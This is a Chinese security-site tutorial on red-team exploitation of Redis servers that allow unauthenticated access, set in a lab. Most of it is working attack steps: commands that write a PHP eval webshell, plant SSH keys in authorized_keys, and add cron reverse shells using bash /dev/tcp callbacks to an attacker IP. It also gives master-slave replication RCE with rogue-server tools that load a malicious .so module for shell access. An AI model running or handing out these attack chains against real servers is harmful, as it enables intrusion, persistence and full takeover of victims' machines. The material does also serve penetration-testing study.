freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+
红蓝对抗之服务攻防:Redis数据库渗透总结
YLion 2022-01-10 08:49:23 388857
所属地 山西省

少就是多,慢就是快!

简介

REmote Dictionary(Redis)是一个由Salvatore Sanfilippo写的key-value存储系统

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String),哈希(Map),列表(list),集合(sets)和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。

Redis 是一个开源的高性能键值数据库。最热门的NoSql数据库之一,也被人们称为数据结构服务器。

它最突出的特点就是 快

1. 以内存作为数据存储介质,读写数据的效率极高
2. 跟memcache 不同的是,储存在Redis中的数据是持久化的,断电或重启,数据也不会丢失
3. 存储分为内存存储。磁盘存储和log文件
4. 可以从磁盘重新将数据加载到内存中,也可以通过配置文件对其进行配置,因此redis才能实现持久化
5. 支持主从模式,可以配置集群,更利于支持大型项目
  1. Redis默认端口

    Redis默认配置端口为6379,sentinel.conf配置器默认端口为26379

  2. 官方站点

    https://redis.io/

    4.x安装:

    wget http://download.redis.io/releases/redis-4.0.8.tar.gz

    tar -xvf redis -4.0.8.tar.gz

    cd redis-4.0.8

    make

    最新版本前期漏洞已修复,测试时建议安装3.2.11版本

    以下复现采用3.2版本复现

Redis环境安装

  1. 定义

    Redis是一个C语言编写的基于key-value类型的高效数据库

    Redis可以执行一些操作将数据保存到内存中(这也是为什么效率这么高的原因)

    同时redis也可以将内存中的数据写入磁盘中

  2. 未授权访问原因

    主要是因为配置不当,导致未授权访问漏洞

    进一步恶意数据写入内存或者磁盘之中,造成更大的危害

    配置不当一般主要是两个原理:

    1. 配置登录策略导致任意机器都可以登录redis

    2. 未设置密码或者设置弱口令

  3. redis服务的搭建

    wget http://download.redis.io/release/redisa-3.2.0.tar.gz

    tar xzf redis-3.2.0-tar.gz

    cd redis-3.2.0

    make

1

下载 redis 的压缩包,解压缩,切换目录到解压后的redis,进行编译

  1. 修改配置文件redis.conf

    cp redis.conf ./src/redis.conf

    复制配置文件

    找到redis.conf文件,将 bind 127.0.0.1 注释掉

    注释掉这行语句,代表任何机器都可以登录redis

    2

    protected-mode设为no

    代表关闭安全设置

    3

    启动redis-server

    ./src/redis-server redis.conf

    src文件夹中都是redis 的命令

    4

    5

    安装成功后,如图所示,并且服务和端口能够明显看到。默认配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

  2. 添加环境变量

    如果想要本地登录的话,可以设置一下环境变量,zsh需要添加环境变量

    修改zsh的配置文件

    vim ~/.zshrc

    在文件末尾加入下面一行代码

    export PATH=/root/Desktop/redis-3.2.0/src:$PATH

    6

    执行下面命令,按照新的配置运行

    7

Redis未授权访问

Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现了Redis未授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为

连接Redis服务器

  1. 交互式方式

    redis-cli -h {host} -p {port}

    以本方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:redis-cli -h 127.0.0.1-p 6379,加-a参数表示带密码的访问(默认没有密码)

  2. 命令方式

    redis-cli -h {host} -p {port} {command}

    redis-cli -h 192.168.27.187 -a qweasd

    直接得到命令的返回结果

  3. 常见命令

    查看信息:info

    删除所有数据库的内容:flushall

    刷新数据库:flushdb

    看所有键:KEYS *,使用select num可以查看键值数据

    设置变量:set test "who am i"

    config set dir dirpath 设置路径等配置

    config get dir/dbfilename 获取路径及数据配置信息

    save 保存

    get 变量,查看变量名称

    详解参考:redis cli命令 - milkty - 博客园 (cnblogs.com)

    8

使用攻击机测试是否存在未授权

redis-cli -h 192.168.27.187

info

9

不存在未授权情况

  1. bind 127.0.0.1 未注释,仅允许本地访问,攻击机kali无法连接

  2. 设置了密码(爆破redis的密码)

Redis写webshell

  • 写入webshell

    命令:

    config set dir /var/www/heml/
    切换目录到网站的根目录
    set x "\n\n\n<?php phpinfo();?>\n\n\n"
    写入恶意代码到内存中(1)
    set xx "\n\n\n<?php @eval($_POST['123']);?>\n\n\n"
    写入恶意代码到内存中(2)
    config set dbfilename shell.php
    在磁盘中生成木马文件
    save
    将内存中的数据导出到磁盘文件

    10

11

成功通过未授权写入webshell

  • 检查webshell

    1. kali开启apache

    在终端输入“vim /etc/apache2/ports.conf” 进入编辑模式,修改apache2的默认监听端口号为8080,编辑好后保存

    然后输入“/etc/init.d/apache2 start”

    1. 测试

      12

      13

      14

      15

      蚁剑可以正常连接webshell

Redis密钥登录SSH

  1. kali开启ssh服务

    /etc/init.d/ssh start

    16

  1. 修改redis密码

config set reguirepass qweasd

登录:

redis-cli -h 192.168.27.187 -a qweasd

17

  1. 生成ssh-rsa密匙

ssh-keygen -t rsa

18

此处指定加密类型为rsa加密,要输入的地方不用管,直接回车即可,生成的两个文件可能处于目录下,也可能处于"/root/.ssh"目录下,取决于你当时有没有这个目录

  1. 写入ssh密匙

  2. 导出key(\n\n是为了防止乱码)

(echo -e "\n\n"; cat qweasd.pub; echo -e "\n\n") > key.txt

19

将生成的公钥写入redis服务器的内存中

cat key.txt | redis-cli -h 192.168.27.187 -a qweasd -x set xxx

20

21

成功写入

设置路径,准备到处文件到磁盘。(本质是更改redis的备份路径)

config set dir /root/.ssh

22

注:如果这个“/root/.ssh”不存在的话会显示失败,不会返回OK,如第一次尝试,然后我去创建了该目录,成功返回OK

设置文件名(不能改成其他的)并导出

config set dbfilename authorized_keys
save

23

24

登录ssh

ssh -i qweasd root@192.168.27.187

25

利用计划任务反弹shell

  1. 攻击端开启监听

nc -vlp 6666
  1. 写入一句话

192.168.175.162:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n" 
\#星号代表计划任务执行的时间
OK
192.168.175.162:6379> config set dir /var/spool/cron/
\#设置导出的路径
OK
192.168.175.162:6379> config set dbfilename root
\#设置导出的文件名
OK
192.168.175.162:6379> save
\#保存
OK
192.168.175.162:6379>
或者:
┌──(root/kali)-[~/桌面/redis-3.2.0/src]
└─# echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n\n"|./redis-cli -h 192.168.175.162 -a a001 -x set 1
./redis-cli -h 192.168.175.162 -a a001 config set dir /var/spool/cron/
./redis-cli -h 192.168.175.162 -a a001 config set dbfilename root
./redis-cli -h 192.168.175.162 -a a001 save
OK
OK
OK
OK

26

利用主从复制RCE

未授权的redis会导致Getshell,可以说是众所周知的了。而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据。主要是利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以说在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式不断的发展,组件化成了不可逃避的大趋势,docker就是当下风潮的产物之一,而在这种部署下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,于是要尝试利用其他手段了

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Redis4.x之后,通过外部扩展,可以实现在redis中实现一个新的Redis命令,构造恶意 .so 文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步到从机上。然后在机上加载恶意so文件,即可执行命令

简单讲就是:

攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上

下载安装一个4.0.8的版本

一样的配置 改bind+改no,然后启动

./src/redis-server redis.conf

设置密码

config set requirepass qweasd

注:

本次复现,攻击机ip为:192.168.27.180 被攻击机ip为:192.168.27.187

27

  1. 下载

git clone https://github.com/n0b0dyCN/redis-rogue-server

//未授权

git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

//有密码

由于github国内访问不太稳定,多拉几次就好了

28

目标靶机是不能开启保护模式,即下图设置才可以

  1. 帮助

29

可看到exp执行方法

30

这个工具是将攻击机变成redis主机,被攻击的redis变成redis从机,在主从交互时将构造好的恶意so文件传送上去并执行

  1. 使用工具进行攻击

    (1) 正向shell

python3 redis_rogue_server.py -rhost 192.168.27.180 -lhost 192.168.27.187 -passwd qwe123

31

箭头指向的地方会问你:拿shell 的方式,是直接拿shell(interactive交互)还是反弹shell(reverse反弹)

我们先试试直接拿shell,然后查询IP验证,成功

(2) 反弹shell

首先在攻击机上使用nc开启监听端口

32

然后再次执行使用工具的命令,选择r

33

输入要反弹shell的ip以及监听的端口,下列命令是shell由什么都不显示 变为交互式的命令

python3 -c "import pty;pty.spawn('/bin/bash')"

34

成功获得交互shell

35

本地Redis主从复制RCE反弹shell

  1. 缺点

先讲一下上部分的脚本执行的原理。上述的原理是,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器只允许本地进行登录的时候,上述利用直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令

将靶机Redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器

从而实现对目标机器的远程命令执行

  1. 下载

https://github.com/n0b0dyCN/redis-rogue-server

//未授权

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

//有密码

将redis-rogue-server的exp.so文件复制到Awsome文件夹中使用,因为exp.so带system模块

  1. 执行演示

(1) kali开启监听

nc -lvp 9999

新开一个窗口,来接收会话的反弹

36

(2) 开启主服务器

python3 redis_rogue_server.py -v -path exp.so

37

开启15000端口的主服务器

(3) Redis主从同步

查看是否存在模块

module list

38

可看到目前没有可用的模块

主从同步:

39

config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.27.187 15000
//进行主从同步,将恶意so文件写入到tmp文件
//端口可以自定义

同步规则:

40

可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上

执行恶意模块:
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要是有没有“system”

41

可以看到加载成功

(4) 反弹shell

system.rev 192.168.27.187 9999

42

成功获得反弹shell并交互

(5) 另一种方式

system.exec "id"

当然可以通过这种方式来直接执行系统命令

(6) 关闭主从同步

slaveof NO ONE
// 关闭主从

本地redis服务器关闭,或者直接在主服务器关闭也行

知识拓展

  1. RESF协议

    定义:

    redis客户端与服务端通信,使用RESP(REdis Serialization Protocal,redis序列化协议)协议通信,该协议是专门为redis设计的通信协议,但也可以用于其它客户端-服务器通信的场景。RESP可以用于序列化不同的数据类型

    如:整型、字符型、数组…并且为错误提供专门的类型;客户端发送请求时,以字符串数组的作为待执行命令的参数。redis服务器根据不同的命令返回不同的数据类型。

    支持协议:

    RESF协议支持五种数据类型:

    简单字符串、错误数据、整数、批量字符串、数组

    *3,代表数组的长度为3

    $4,代表字符串的长度为4

    0d0a即\r\n表示结束符

    +0K表示服务端执行成功后返回的字符串

  2. Gopher协议

    定义:

    在http出现之前,访问网页需要输入的是”gopher://gopher.baidu.com“而不是现在的”https://www.baidu.com“,而它被替代的一方面原因是收费,另一方面的原因是它固化的结构没有HTML网页灵活。gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell

    gopher语句生成工具:

    https://github.com/tarunkant/Gopherus

# Redis # 漏洞复现及分析 # Redis漏洞总结
本文为 YLion 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
WEB中间件
红蓝对抗实践总结
漏洞收集
YLion LV.5
克己.
  • 39 文章数
  • 394 关注者
红队——多层内网环境渗透测试(三)
2023-11-02
内网攻防 | Kerberos协议安全解析
2023-11-01
攻防演练中的IPv6(下)获取IPv6地址并防御IPv6攻击
2023-09-19
文章目录